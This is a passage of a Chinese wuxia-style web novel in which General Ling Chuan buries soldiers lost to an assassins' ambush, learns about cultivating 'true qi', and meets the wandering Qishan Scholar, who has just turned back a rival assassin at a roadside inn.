马车周围横七竖八地堆满了尸体,足有数十具之多,其中好几具尸体是他熟悉的亲兵面孔。 鲜血染红了大地,形成一个个血洼,即使在大雨冲刷下,依然浓得化不开。 断肢残骸散落四处,一把把散落的兵器插在泥泞中,诉说着刚才那场守卫战的惨烈。 翠花浑身浴血,立于车辕之上,手中双刀之上的鲜血顺着雨水流淌而下,她的左臂的铠甲碎开,隐隐有鲜血流淌,但她仿佛毫无知觉,依然警惕地扫视四周,直到看见凌川,眼神才稍稍缓和。 “翠花,夫人没事吧?”凌川急切问道,声音因担忧而微微发颤。 “相公!” 不等翠花回答,车厢中传来苏璃满是担忧的呼唤。 随着机关启动,挡在马车周围的铁皮板缓缓升起,苏璃掀开车帘探出身来,美丽的脸上毫无血色,眼中满是惊恐与担忧。 “娘子不用担心,我没事!”凌川柔声安慰,快步上前握住她冰凉的手。 很快,现场的杀手全部被斩杀,战斗结束。 “咱们损失了多少人?”浑身湿透的凌川坐在车辕上,问道。 “目前还没盘点,但损失不少兄弟!”洛青云神色中带着几分悲伤。 凌川点了点头,说道:“尽快救治受伤的兄弟,然后疏通道路,离开这里!” “是!”洛青云抱拳领命,转身而去,不过他的步伐却显得异常僵硬,显然是不想面对这样的场面。 一炷香之后,雨终于小了很多,空气中依然弥漫着刺鼻的血腥味。 凌川呆坐在车辕上,雨水顺着他刚毅的脸颊滑落,苏璃正在一旁为翠花处理伤口。 洛青云迈着沉重的步伐走上前,哑声道:“将军,清点完毕……” “说!”凌川平淡吐出一个字,却宛如巨锤砸在洛青云胸口。 洛青云深吸了一口气,说道:“阵亡三十三人,重伤四十一,轻伤逾百!战马损十七匹……” 凌川闭上眼,深吸一口气,那气仿佛带着刺,扎得五脏六腑剧痛。 这些都是死字营的百战老卒啊!是在关外与胡羯铁骑以命搏命、从尸山血海里爬出来的兄弟!多少大风大浪都闯过来了,却在这回神都途中的一场伏击里,折了这么多…… 他拳头死死攥紧,指甲抠进掌心,渗出血丝混入雨水中。 一幕幕熟悉的面孔在眼前闪过,那些粗豪的笑语、那些坚定的眼神、那些曾并肩血战的身影……如今皆化作冰冷数字。 痛!钻心刺骨的痛!还有滔天的怒与恨! 归根结底,还是被对方最开始便用两旁大树阻断队伍这一招实在是太狠了,进入这里之前,凌川想到过这里会有危险,但却没料到对方会用这一招。 这也给凌川狠狠上了一课,同样,也是给所有人上了一课。 一直以来,他们都走得顺风顺水,哪怕凌川一直给下面的将领说,不要自傲,骄兵必败。 但,人性本就是如此,一直顺风顺水,难免心生骄傲。 “如果我没猜错的话,这些杀手来自血衣堂!”凌川沉着脸说道。 “血衣堂?”洛青云一愣,说道:“可他们使用的兵器并非血契啊!” 凌川冷漠一笑,说道:“谁说血衣堂的杀手就只能用血契了?” 苍蝇一想也对,血契虽然是血衣堂杀手的标志性兵器,但,他们此次的目标很明确,乃是使用苍生战刀的边军,而血祭乃是短刃,在刺杀的时候或许便于藏身,但在这种对抗中势必会陷入劣势。 第一卷 第350章 内练一口气! 半个时辰之后,雨停了,雾松林之中的迷雾逐渐消散,可积压在众人头顶的那片黑云却愈发浓郁。 洛青云与苍蝇已经组织人手将官道上的树木搬到一旁,疏通一条可供马车通行的道路。 凌川让人带着战死士兵的尸体离开,前往南亭县,至于被损毁的马车,则是能修则修,修不了就将物资搬下来用马驮运。 好在此地距离南亭县只有十余里,洛青云派出一名标长带领十余骑迅速赶往南亭县的驿站,让他们去请城中的大夫,同时准备大量热水和姜汤。 一来是不少伤员需要尽快处理伤势,之前在现场也仅仅是临时简单处理,此外,大家一身都被淋湿,若处置不当,极有可能引发伤寒。 进入驿站之后,苏璃亲自带人把姜汤分发给大家,苍蝇则是主持早已候命的大夫们给士兵治伤,洛青云将手下人分成两批,一批继续巡防,另一批则是赶紧洗个热水澡,顺带将内衬烘干,紧接着便来换防。 凌川亲自监督士兵们小心收殓阵亡将士的遗体。每看到一张熟悉的面孔,他的心就刺痛一次。 这些昨日还生龙活虎的汉子,如今已成冰冷尸体,他记得每个人的音容笑貌,记得他们一起浴血奋战的日日夜夜。 “将军,这是郑虎让我交给您的!”孟钊将一把带着战刀捧在手心,刀柄之上歪歪扭扭刻着郑虎的名字,这是第一批领到苍生刀的死字营成员最喜欢干的事情,后来这种举动在云州军中传开,大家都争相效仿。 “他说……不能再跟随将军您了,把这把战刀交给下一个兄弟,让他继续守护将军!”孟钊哽咽着说完,热泪再也止不住地滚落下来。 凌川接过战刀,轻轻抚摸刀身上半干的血迹,颤声道:“好,把兄弟们的战刀收起来!” 看着那被收集起来,摆放整齐的一排排战刀,凌川心情愈发沉重。 “兄弟们的遗体不用全部送回云州了……”凌川最终做出决定,声音因悲痛而低沉,“将他们火化,骨灰送回家乡,除了朝廷的战死恤银之外,将军府再发放一份,他们的子女由将军府抚养成人,家眷可进入云州酿造司和织造坊做工!” “谢将军!”孟钊双目通红,点头道。 凌川转身离开,心底更是暗下决心,一定要将血衣堂连根拔起。 一直到深夜,苏璃带领大家将伤员处理完毕,这才回到住所,发现凌川独自一人坐在门外的石阶上,悲伤到令人心疼。 “相公,我已经跟苍蝇说了,受伤的士兵就留在这里养伤,康复之后自行返回云州即可!”苏璃来到凌川身边坐下,伸出手掌与他十指相扣。 “我让人给他们多留了些银两,以备不时之需!”苏璃轻轻靠在凌川肩膀上,尽管她知道,现在更需要依靠的是他。 凌川点了点头,声音嘶哑地说道:“有娘子分忧,我放心!” “咱们是夫妻啊,我自然要帮你分担!”苏璃柔声道。 随后,凌川让苏璃去休息,自己则是独自来到后院,马车和物资都存放在这里,只不过,十多辆马车,现在只剩下六辆相对完整,凌川已经让苍蝇前去购买。 旁边不远处便是马厩,一些受伤的战马正在接受治疗,相对来说,战马受损不多,而且,大多都是一些轻伤,毕竟,它们并未参与后面的战斗。 凌川转了一圈之后,来到一辆马车跟前,只见旁边一辆马车上,一名身着青衫的老者正悠闲地躺在车辕之上,看着头顶的漫天星空,悠闲地喝着小酒,时不时还从兜里掏出几颗花生米丢进嘴里,细细咀嚼。 凌川则是跳了上去,顺手将老头的酒壶夺了过来,往嘴里猛灌了几口,狼血的辛辣反而让他的意识清醒了许多。 老者瞥了他一眼,说道:“你小子,喝酒不知道自己带?” 凌川苦涩一笑:“你的我的,有甚区别?” “放屁,你的可以是我的,但我的一定是我的!”老者理直气壮地说道。 这老者不是别人,正是杨铁匠,之前凌川请他护送自己去神都,杨铁匠拒绝得很干脆,但,次日出发的时候,他却主动到来,将一名赶车的亲兵一脚踹了下去,自己当起了车夫。 不过,杨铁匠却告诉凌川,不要把他当成廉价打手,只有他觉得够资格让自己出手的人,他才会出手,那些阿猫阿狗,让凌川自己解决。 很明显,昨日的血衣堂杀手,根本入不了他的法眼。 凌川呼出一口滚烫的酒气,脑海中浮现出今日那名杀手从上空俯冲而下,他手中长剑刺向自己的时候,竟然让周围的雨滴跟着一起朝着自己袭来的诡异画面,不由问道: “杨师傅,今天我在对敌的时候,发现了极其诡异的一幕……” “切……”话还没说完,杨铁匠却是不屑地嗤笑了一声,只见他将一颗花生米丢进嘴里,慢条斯理地说道:“区区一缕真气而已,有啥可大惊小怪的?” “真气?” 凌川一愣,虽然他早有猜疑,但却没想到竟然真有真气存在。 杨铁匠嫌弃地瞥了他一眼,说道:“别一副没见过世面的样子,世间武夫不在少数,不过大多都难登大雅之堂罢了!” “你怎么以前从来没跟我说过?”凌川吃惊问道。 杨铁匠则是白了他一眼,“你也没问啊!” 凌川:“……” 杨铁匠拿起酒壶往嘴里倒了一口,说道:“常有人说,外练筋骨皮、内练一口气!真气便是那一口气!” “如何才能练出真气?”凌川连忙追问道。 经历今日这场刺杀之后,他迫切想要自己变得强大,若自己足够强,强如杨斗重那般,这天下何处去不得?就算只身入神都,又何惧血衣堂的刺杀? “每个人体内都有真气,就看你能否找到它!”杨斗重倒也没有隐瞒,而是坦白相告。 “在哪里?”凌川又问,眼神中满是希冀与激动。 杨斗重指了指自己的小腹,说道:“在气海,也是人们常说的丹田!” 凌川伸手揉了揉自己的肚子,似乎并无任何不同,但想到若是这么就能摸到,那岂不是人人都能成为江湖高手了? “如何才能找到他?”凌川又问。 杨斗重一脸不耐烦,说道:“你小子哪儿那么多问题?老夫累了,滚吧!” 第一卷 第351章 先天真气! 回到住所时,夜已深沉。 苏璃或许是忙了一天实在太累,已然入睡,呼吸均匀而轻柔。 凌川不想惊醒她,便轻手轻脚地褪去外衣,小心翼翼地上床。 然而躺在榻上,他却辗转反侧,难以入眠。昨夜从杨斗重那里听闻“真气”一事后,他心中始终难以平静。 一只手不自觉地在小腹处揉搓,试图感知那传说中的先天真气,然而几个时辰过去,除了腹部的温热感,什么也没有察觉到。 凌川不禁皱眉,难道自己是无法修炼的废材,体内压根就没有真气存在? 不知不觉间,窗外已现曙光。 凌川索性起身,穿上衣服,提起战刀来到院中。 晨光熹微,驿站院中的青石板上还带着夜露的湿润,凌川深吸一口清晨凉爽的空气,开始演练刀法与枪术。 战刀破空之声惊起了枝头的鸟儿,刀光在晨曦中划出一道道银弧,五十余斤的破殇锋在他手中舞得密不透风,每一次出枪皆是霸道而果决,似乎要将积压在心中的怒火与杀意发泄出去。 不多时,苍蝇和沈珏二人到来,见凌川正在晨练,便恭敬地站在远处观望。 “你俩别看了,来与我过招!”凌川收刀而立,朝他们招手。 二人相视一笑,并无迟疑。 这样的对练在以往是常事,只不过通常不会用真刀,毕竟刀剑无眼,难免误伤。 况且他们都视自己的佩刀为宝贝,更是深知凌川这把宝刀的来历和锋利,自然不会‘以卵击石’。 驿站不比将军府和校场,没有专门的对练木刀,三人只得各自折了一截粗细适中的木棍,以棍代刀。 “将军,今天谁先来?”苍蝇掂了掂手中明显比战刀轻很多的木棍,笑问道。 “你俩一起上吧!”凌川淡然开口。 二人闻言,顿时露出震惊之色,随即眼中闪过兴奋与激动的光芒。 以往对练中,他们三名队长没少被凌川单独‘指点’,每每被揍得鼻青脸肿,这次凌川竟然主动提出以一敌二,二人的眼底不约而同地浮现出‘复仇’二字。 凌川将他们的表情尽收眼底,不禁笑道:“想报仇,我给你们机会,但能不能把握,那就看你们自己的本事了!” “将军,那可就得罪了!”二人抱拳行礼,随即默契地同时发动攻击。 凌川手持木棍果断迎了上去,客观来说,苍蝇和沈珏的实力在军中皆属佼佼者。 苍蝇练的是军中磨砺出的杀人刀法,与凌川的路数相似,且一直以来的对练中,凌川也没少指点他。 而沈珏虽出身江湖,刀法却没有那些花哨的虚招,同样以凌厉狠辣见长。 眨眼间,三人已交手十余回合,木棍相击的噼啪声在清晨的院落中格外清脆。 一开始,二人还觉得联手有些不光彩,可十多个回合下来,他们竟未能占到丝毫上风,两人对视一眼,不敢再留手,决定全力以赴。 “这才像话嘛!”凌川淡笑一声,随即收起脸上的玩味之色,神情专注起来。 苍蝇看准一个空档,手中木棍如毒蛇出洞,直刺凌川胸口。与此同时,沈珏配合无间地封死了凌川所有退路,木棍带着破空声横扫凌川下盘。 面对这绝杀之局,凌川却不退反进。 手中木棍宛如鱼竿垂钓般精准地点在苍蝇的手腕上,苍蝇只觉手腕一麻,险些握不住木棍。 就在这个间隙,凌川侧身避开沈珏的横扫,不等对方变招,手中木棍如闪电般刺出。 一记寒星贯月,木棍尖端稳稳停在沈珏咽喉前半寸处。 凌川从容收棍,而苍蝇与沈珏却呆立当场,久久说不出话来。 他们原本以为,将军的实力就算比自己强,也绝对有限,不曾想二人联手竟然败得如此彻底,甚至连凌川的衣角都没碰到。 他们不知道的是,自上次得到杨铁匠的指点后,凌川的刀法已然脱胎换骨,上升到了另一个层次。 要是在昨日之前,凌川也会认为就算是把自己丢在江湖中,也算是个高手,但经历了与血衣堂杀手的生死搏杀,他深知江湖的水有多深,高手有多可怕。 加之昨晚在杨铁匠那里了解到真气的存在,更是彻底颠覆了他之前的认知。 “沈珏,你知道真气吗?”凌川来到一旁的石凳上坐下,问道。 沈珏点了点头,“略知一些!” 凌川剑眉微挑,“那为何从没听你说过?” “将军也没问我啊!”沈珏老实回答。 凌川一时语塞,只得无奈地摇摇头:“来,给我讲讲!” “所谓真气,其实并没有传说中那么玄乎……”沈珏在凌川示意下坐下,认真解释道,“不外乎就是找到我们体内的那股‘劲道’,并不断熟悉掌握,将其运用起来。而且,就算找到了真气,在达到三重境之前,与普通人并无太大区别,无非就是力量比以往稍大一些而已!” “三重境?”凌川疑惑不解,这是他第一次听到这个说法。 沈珏点了点头:“所谓的三重境,就是在体内凝聚出三道真气,除了最初那道先天真气之外,其余后天凝聚的都被称之为后天真气。只有达到三重境以上,真气的威力才会逐步显现出来。” “像当初在铁鳞城外被咱们斩首的胡羯将领狼蚀,应该就是一位三重境高手,若非咱们偷袭的话,想要杀他还真不容易!”沈珏说道。 “老沈,你几重境?”苍蝇好奇地插嘴问道。 沈珏有些不好意思地说道:“师傅说我天资愚钝,这辈子估计也达不到三重境以上,自我找到先天真气至今已有三年多了,却只凝聚出一道真气。” “没想到啊,你竟然是一位二重境高手!”苍蝇的语气中带着善意的揶揄。 但凌川没有笑,而是郑重其事地问道:“你当初是如何找到先天真气的?” “这事儿说起来很玄乎……”沈珏回忆道,“我当初按照师傅的方法,在气海中找了几个月,却一无所获。正当我要放弃的时候,却忽然感受到了那道真气的所在!就像是...就像是黑暗中突然出现的一点星光,虽然微弱,却真实存在。” 凌川若有所思地点了点头,随后又向沈珏请教了一些有关真气的常识,这才一起去用早饭。 由于不少士兵还在养伤,再加上天色阴沉又开始下雨,凌川便下令在驿站休整一日。 第一卷 第352章 岐山书生! 上午,那三十三名战死士兵的遗体被小心地火化,雨水淅淅沥沥地下着,仿佛上天也在为这些英勇的战士落泪。 凌川亲自带领将士们,将同袍的骨灰一点点地装入一个个檀木盒子中,他的动作极其缓慢而轻柔,仿佛生怕惊扰了这些英灵。 每一捧骨灰,都代表着一个鲜活的生命,一个曾经与他并肩作战的兄弟。 那些刻着名字的身份木牌,被郑重地放在每个盒子表面,凌川的手指轻轻抚过每一个名字,脑海中浮现出对应的面容。 房史青,那个总是憨笑着的壮实汉子,每次冲锋都吼得最大声;孙满,出了名的抠门,后来才知道他是攒钱给家中老母治病;任双羽,一直念叨着,等当上标长便风风光光回家,娶那个朝思暮想的姑娘。 凌川的眼眶湿润了,但他强忍着没有让泪水落下,作为统帅,他必须坚强。 所有将士整齐列队,神色肃穆,内心充满悲恸。 那些静静躺在盒子里面的,皆是他们的生死同袍,前两日,大家还在一起喝酒谈笑,转眼间便已是阴阳两隔。 不少士兵双目通红,紧握双拳,指甲深深掐入掌心,渗出血丝也浑然不觉。 凌川站在最前方,雨水顺着他的脸颊滑落。 他深吸一口气,沉声说道:“兄弟们安心走好!我凌川在此发誓,一定为你们报仇,亲手铲除血衣堂!” “铲除血衣堂!” “铲除血衣堂!” 后方,众人沉声大吼,声音宛如闷雷一般,震得天穹隆隆作响,每一个字都充满了刻骨的仇恨和坚定的决心。 “咔嚓......” 恰在此时,一道惊雷炸响,一场不亚于昨日在雾松林的暴雨倾盆而至。 恍惚间,众人的脑海中再次浮现出昨日厮杀的惨烈场景,满地鲜血,尸横遍野,战友们一个个倒在血泊中...... 凌川已经让驿长派人快马加鞭送信回云州,让程砚派人前来,亲自将这些阵亡兄弟的骨灰护送回乡。 这其中涉及到抚恤银两的发放和家属的安抚,凌川不放心交给外人办理,唯有让自己人处理才能安心。 次日清晨,连日阴雨终于停歇,天空放晴。 队伍照常起程,只是比起从前,规模明显小了些,除了战死的三十三名士兵外,还有几十名重伤人员留在南亭县驿站养伤,需要等待伤势稳定后才动身返回云州。 接下来的几日,沿途相安无事,但整个队伍的气氛却明显凝重了许多。 每个士兵都绷紧了神经,警惕地注视着沿途的一切动静,有了雾松林的惨痛教训,谁也不敢再掉以轻心。 四天后,队伍来到一个名为灵远县的地方。此地位于幽州腹地,人生地不熟,虽然近几日一路走来都平安无事,但洛青云和苍蝇等人仍然下令加强戒备。 洛青云依照惯例率领斥候先行十里探路,此外更是派出一支二十人的精锐小队,快马加鞭前往下一处落脚点安排住宿等事宜。 灵远县以南十里处,一家简陋的酒肆坐落在官道旁。 这里每天人来人往,快马飞驰,扬起的尘土几乎要将那面杏黄色酒幌子完全掩盖。 经营酒肆的是一对老夫妻,二人膝下一儿一女,儿子参军多年未归,女儿早已嫁做人妇,只剩下老两口相依为命。 酒肆不大,就是路边搭起的一个凉棚,摆着三四张被擦得泛起包浆的木桌。 平日里过往行人要么买二两酒解乏,要么要一碗茶水解渴,顺便歇歇脚。 今早老两口刚开门,便惊讶地发现一名身着洗得发白儒衫的中年儒生早已端坐在那里。 此人五十开外,虽是书生打扮,却透着一股穷酸味,显然,即便是个读书人,也未能考取功名,否则也不至于如此落魄。 中年书生右手边的桌上放着一卷泛黄的竹简,他就这么静静地坐着,时不时望向南边的官道,似乎已经等候多时。 酒肆老妇人觉得此人行为怪异,便悄悄告知老头子。 很快,酒肆老板搓着双手走上前来,面带殷勤笑容问道:“先生是喝酒还是喝茶?” 中年书生转向老者,谦逊地点了点头:“一碗茶即可。” 老者很快端来一只粗瓷大碗,为他斟满茶水。 这种路边酒肆的茶以解渴为主,自然谈不上什么好茶,可那老书生却像是品尝名茗一般,端起碗来煞有其事地吹了吹,然后缓缓啜饮。 整套动作行云流水,却与这简陋环境显得格格不入。 老两口常年在此经营,也算是见多识广,虽觉奇怪却并未多言。 一个时辰之后,碗中茶水已尽,老板再次上前添茶,顺口问道:“先生这是在等人?” 中年书生微微颔首,目光仍望着官道:“是等人,只是不知会先等到谁!” 老人不明所以,添了茶后说了句慢用,便回到灶台前继续烧水煮茶。 时至中午,酒肆的客人换了一波又一乘,唯独那老儒生如同屁股生根一般,连饮了六碗茶,既未起身去茅房,也没有要离开的意思。 就在老板准备再次上前询问时,一道粗犷如闷雷的嗓音从门外传来:“老板,来壶酒!” 循声望去,只见一名五短身材的胖子大步走了进来。 此人穿着邋遢,满脸虬髯,横眉怒目,周身散发着一股令人窒息的凶戾之气,让酒肆内其他客人不自觉地缩了缩身子,不敢直视。 “诶,好嘞!”老板壮着胆子上前,接过他手中的酒壶,很快便进屋装了一壶酒出来。 “这位爷,您的酒,一共二十文……”老板话还未说完,对方直接扔来一块碎银子,老板掂量一下,连忙躬身道谢。 正当那邋遢胖子准备转身离开时,一直静坐的老书生却忽然开口了。 “杀猪匠,你这么着急,是要去哪儿啊?” 中年胖子猛然转身,双目如电般射向老书生,眼中迸射出两道实质般的寒芒,整个酒肆的温度仿佛都下降了几分。 “老秀才,你不在岐山待着,跑这儿来作甚?” 中年书生悠然捻须,嘴角含着一丝若有若无的笑意:“你都从衡水跑到幽州了,我为何就不能来?” 随即,老书生又补充了一句:“我都等你半天了!” 第一卷 第353章 衡水屠夫! 中年胖子神色一凝,缓缓上前几步,他每一步踏出,地面都微微震动,桌上的茶碗泛起细微涟漪。 在周围普通客人看来,这不过是两个行为怪异的陌生人,但放眼整个江湖,却极少有人不知衡水屠夫和岐山书生这两个名号的分量。 只见老屠夫缓步来到书生面前,目光如刀般凌厉,直视对方:“你知道我为何而来?” 老书生淡然一笑,衣袖无风自动:“要不然我为何会在这儿等你?” “你想拦我?”屠夫的声音陡然阴沉下来,周身杀气弥漫,几个胆小的客人已经悄悄溜出酒肆。 老书生轻轻点头,看似随意地将右手按在竹简上。 就在这一瞬间,他整个人的气势陡然一变,原本的穷酸书生形象荡然无存,取而代之的是一种深不可测的宗师气度。 “那人,你动不得!” 屠夫闻言,眼中凶光毕露,却忽然哈哈大笑,声震屋瓦:“就凭你?” 话音未落,他看似随意地将酒壶往桌上一放。 “砰!” 酒壶与木桌接触的刹那,四只桌脚竟无声无息地陷入地下三寸。 桌上的粗瓷茶碗也被震得飞了起来,碗中茶水撒向半空。 就在这时,老书生伸出一只手,手腕轻转,掌心向上,那只茶碗便稳稳落在他手中,随即他手腕一兜,那泼洒出去的茶水竟如时光倒流般,尽数被收回碗中,一滴不曾洒出。 “这茶,可是我花钱买的!”老秀才微微一笑,随即将茶碗送至嘴边轻啜一口。 当他将茶碗放回桌面时,那粗瓷碗中的半碗茶水竟然开始旋转起来,越转越快,顷刻间碗中茶水形成一个漩涡。 更诡异的是,四周茶水虽已溢出碗口,却无一滴溅出,仿佛被无形力量约束其中。 二人目光在空中交锋,看似平静,实则已在无声中交手数个回合,屠夫的杀气如惊涛骇浪,却总在触及书生身前时悄然消散,仿佛撞上一堵无形气墙。 屠夫冷冷垂下目光,看了一眼碗中旋转的茶水,随即伸手往后腰一探,一把满是油腻、血迹斑斑的杀猪刀出现在手中。 刀身宽厚,刃口闪烁着寒光,刀背上残留着经年累月的血渍,散发出浓烈的血腥气。 “既然你要拦我,那我就先宰了你!” 霎时间,刀光乍现。 周围的客人只觉那把杀猪刀散发出的光芒刺得双眼生疼,不敢与之正视,滔天煞气更是令人浑身汗毛倒竖,刀气纵横,刮得人脸生疼,几个还在围观的酒客纷纷后退。 就在这时,老书生不慌不忙,并起两根手指朝着茶碗隔空一钩,那碗中旋转的茶水宛如一条淡黄色丝带,顺着他的手指离碗飞起,在空中蜿蜒流动。 老书生抬手一挥,那条‘水带’宛如活物般,径直朝着劈落下来的杀猪刀缠绕而去,水流与刀锋相接的刹那,发出滋滋轻响。 顿时,杀猪刀上那璀璨寒芒尽数被茶水吞没,所有刀芒瞬间敛去,滔天杀气也消失得无影无踪。 反观那淡黄色‘水带’之中,一道道璀璨寒芒如游龙般流转闪烁,只不过比之前温和了许多。 最终,那把杀猪刀就这么悬在半空,屠夫面色涨红,青筋暴起,却始终无法将刀落下分毫,他只觉得刀身仿佛陷入泥沼,每前进一寸都需耗费巨大气力。 老书生淡淡说道:“这么多年过去了,你这暴脾气可是一点没改!” 良久,屠夫缓缓收回杀猪刀,眼神中带着震惊与不甘:“多年不见,想不到你的实力又精进了!” 老书生手指一勾,那条‘水带’轻轻落回茶碗中,若细看会发现,淡黄色的茶水中不时有冰冷寒芒游动,宛若活物。 “你现在返回衡水,我不为难你!”老书生语气平静,却带着不容置疑的威严。 “但我还是想试试!”屠夫眼中闪过一抹倔强,“那人的人头,值黄金万两!” “有我在,你拿不到!”老秀才轻轻摇头,“而且,就算我不在,你也不会得手,甚至还会葬送自己的性命!” “哼!”屠夫不屑地冷哼:“要不是你这死秀才横插一手,老子杀他跟杀猪仔一样简单!” 老书生笑着摇头,道:“看来,你是不知道谁与他同行!” “谁?”屠夫神色一凝,正经问道。 老书生捋了捋胡须,意味深长地说:“我可以很负责地告诉你,在那人面前,你手中这把令无数江湖高手闻风丧胆的杀猪刀,也跟废铁没什么区别!” 屠夫目光闪烁,直觉告诉他,老书生没有撒谎。 中原江湖高手如云,但能以绝对实力碾压他的,也只有屈指可数的那几位宗师。 然而,他将所有宗师在脑海中过了一遍,却始终想不到有哪位宗师高手会为凌川站台。 玉皇观、空观寺、蜀山剑宗、白云城乃至苍山竹海这几个有宗师坐镇的道统与北系军素无瓜葛。 至于神都那两位宗师,更不可能轻易离开洛城,甚至于那二人是否还尚在人世,都是一个未知数。 他不着痕迹地打量着老书生,希望能从对方的神态举止中看出一丝端倪,可对方始终气定神闲,看不出半点破绽。 “老子今天给你一个面子!”屠夫终于收起杀猪刀,抓起酒壶挂在腰间,“但仅限这一次!而且你告诉凌川,江湖中想要领这万两黄金的,可不止我杀猪匠一人!” 转身欲走时,他微微侧首:“老秀才,你未必保得住他。看在多年相识的份上,我也奉劝你一句,少管闲事!” 说罢,他大步离去,身影很快消失在官道尽头。 老书生目送对方远去,轻轻摇头,将碗中茶水一饮而尽,那游弋的刀气随之消散于无形。 不多时,官道另一边传来密集的马蹄声。 一支数百人的骑兵缓缓行来,甲胄鲜明,刀枪林立,为首将领目光如电,扫视着酒肆内的寥寥数人。 老书生起身站在酒肆门口,像个看热闹的路人,当一名骑着雄健黑马的年轻将领经过时,他拱手一礼。 “凌将军一路辛苦,可否赏脸下马喝碗茶?” 马背上的凌川勒住缰绳,神色微愣,他自然不认识这位看似落魄的老书生,但对方那气度,明显不是寻常百姓。 第一卷 第354章 修身齐家治国平天下! “先生这是在等我?”凌川打量着老者问道。 “算是吧!”老书生微微一笑:“一炷香之前,我见了一位故人,不过已经把他送走了!” 虽说这一路凶险,所有人皆是小心谨慎,但,也不至于风声鹤唳,加之,凌川并未从对方身上感受到恶意,便答应了下来。 “既然如此,那凌某便叨扰了!”凌川翻身下马,将缰绳交给亲兵,大步走进酒肆。 苍蝇见状,迅速带领一队亲兵进入酒肆,只不过,他们只是戒备,并没有其他行为,甚至都没有影响其他客人。 凌川径直来到那张略显陈旧的木桌前,对着那老书生和煦一笑,做了个请的手势:“先生请坐!” “谢过将军!”老书生拱手还礼,姿态从容,并无寻常百姓见到官员时的畏缩,他拂了拂袍袖,坦然在凌川对面落座。 凌川见桌上除了那卷磨得光滑的旧竹简外空空如也,便转头对茶棚老板扬声道:“老板,劳烦上一壶茶。” “诶!将军稍待,马上就来!”老板连忙应声,手脚麻利地沏了店里最好的茶,又寻出两只相对最体面的茶碗,快步端了上来。 凌川执起陶壶,亲自为对方斟茶。 老书生并未推辞,只是微笑着伸出双手虚扶住茶碗,动作自然透着一股不卑不亢的谦逊气度。 “不知先生如何称呼?”凌川将茶壶放下,开口问道。 老书生闻言哈哈一笑,摆了摆手,语气洒脱:“山野之人,不足挂齿!老夫来自岐山,不过一落魄老秀才罢了。” ‘岐山’二字入耳,凌川神色如常,然而侍立于他身后的沈珏却是脸色骤变,急忙上前一步,俯身在凌川耳边急速低语了几句。 凌川目光微动,面上却依旧波澜不惊,只是微微颔首,随即再次看向老书生时,眼中已多了几分郑重,他抱拳道:“失敬失敬!原来是名冠江湖的云前辈,晚辈久仰大名,今日得见,实乃幸会!”语气诚恳,并无虚饰。 老书生捻须而笑,笑声爽朗:“将军不必如此多礼!相比起将军年纪轻轻,便能在关外沙场杀出赫赫威名,护佑北境无忧,老夫这点微末的江湖虚名,实在是不值一提,如同萤火比之皓月!” “先生过誉了,戍守边疆,诛杀贼寇,本就是吾辈边军的职责!” 这并非全然客套,只因凌川确对江湖掌故知之甚少,否则,他绝不可能没听过‘岐山书生’云书阑的名号。 相传,云书阑本是岐山县一名寒门秀才,天资聪颖,苦读诗书十余载,满腹经纶,胸藏韬略。 正和十九年,亦即先帝驾崩那年,他踌躇满志,赴神都赶考。彼时的他,深信凭自身才学,定能金榜题名,一展抱负。 然而,他读尽了圣贤书,书中却未曾写着世道的艰险与权贵的黑手。那时的科举,虽名义上犹存,实则早已被盘根错节的世家门阀垄断,寒门子弟欲要鲤跃龙门,难如登天。 放榜之日,他看着皇榜之上那一个个显赫的姓氏,胸中垒砌了十余年的信念之塔,轰然崩塌。 他彻底明白,纵有救国济世之才,纵怀经天纬地之策,他那卑微的出身,便注定了他永生永世也触不到那近在咫尺的庙堂之门。 失魂落魄的他,宛如一具被抽去魂魄的躯壳,游荡至神都著名的锁龙桥。 望着桥下奔流不息的洛水,他万念俱灰,将视若生命的书籍、笔砚,尽数倾入滔滔江水之中。 然而,当他拿起那卷随身携带、片刻不离的旧竹简时,动作却迟疑了。 那是他父亲留给他唯一的遗物。 竹简已摩挲得温润,卷内大部分为空白,仅刻有九个字——修身、齐家、治国、平天下! 这九个字,曾是他一生的信念与追求。 最终,他还是未能舍得将其掷出。 他只是捧着那卷竹简,于锁龙桥头颓然枯坐,整整三日,不饮不食,不言不语,如同化作了桥头一尊石像,眼中是燃尽后的死灰与无尽的迷惘。 第三日深夜,万籁俱寂。 忽有异香弥漫神都,次日清晨,神都百姓惊骇地发现,满城菊花,竟于一夜之间违背时令,尽数绽放,金灿灼目,比往年足足早了一个月。 也正是在那个奇异的花香之夜,枯坐三日的云书阑,低垂的目光从竹简之上缓缓抬起。 无人知晓那三日夜他经历了怎样的天人交战,只见他原本死寂的眼中,竟一点点重新凝聚起光芒,那光芒并非过去的书生意气,而是一种洞彻后的清明与坚定。 他缓缓起身,小心翼翼地将竹简卷起,握住! 最后望了一眼那巍峨深邃的皇城,随即,在晨曦微露中,于锁龙桥头纵身一跃! 然而,他并未坠入翻滚的洛水,而是轻点波涛,竟如履平地,身形飘然若仙,踏着那满河破碎的月光与金色花影,飘然远去,自此消失于茫茫江湖之中。 不久之后,一名书生打扮的高手于江湖中崛起,此人自称岐山书生,手中一卷竹简随身不离。 那卷刻着‘修身齐家治国平天下’的竹简,承载的也不再是功名利禄和书生痴梦,而是化为了他勘破虚妄、另寻大道的无上心诀。 “先生此行,应该不会仅仅是请我喝碗茶这么简单吧?”凌川笑着问道。 云书阑捋了捋胡须,笑道:“将军睿智,老夫就不卖关子了,此行为两件事,其一是得知将军要入神都,前来送你一程!” 凌川眉头微蹙,他敏锐捕捉到,对方口中的送一程绝非字面意思那么简单,再结合之前他说等到了一位故人,不过已经将其送走。 “衡水河畔那个杀猪匠来过,被我给挡回去了!”见凌川不解,云书阑直接说道:“不过,这个犟种既然来了,定不会善罢甘休,无论是为了那万两黄金,还是因为其他原因,他腰间那把杀猪刀既然出鞘,不见血是不会轻易收回去的!” 凌川并不知道他口中的衡水河畔杀猪匠是何人,但,既然能让他这位大高手出手阻拦,定然不是泛泛之辈。 第一卷 第355章 本末倒置! 凌川抱拳道:“多谢先生出手相助!” 云书阑则是笑着摇了摇头,说道:“将军言重了,老夫此举不过是顺水人情,以你队伍中那位的实力,这天底下,能伤到你的人,寥寥无几!” 云书阑不着痕迹地朝马车队伍瞟了一眼。 对方能知道杨铁匠的存在,凌川虽然有些诧异,但还不至于震惊,毕竟,早在云岚县的时候,关鹤便认出了杨铁匠的身份,若用心打听,定会知道杨铁匠在自己身边。 凌川缓缓放下茶杯,又问道:“那先生所说的第二件事是什么?” 云书阑缓缓将桌上的竹简摊开,上面以篆体刻着九个字——修身、齐家、治国、平天下! “将军认为,这九个字,应该如何解读?”云书阑目光灼灼,看着凌川问道。 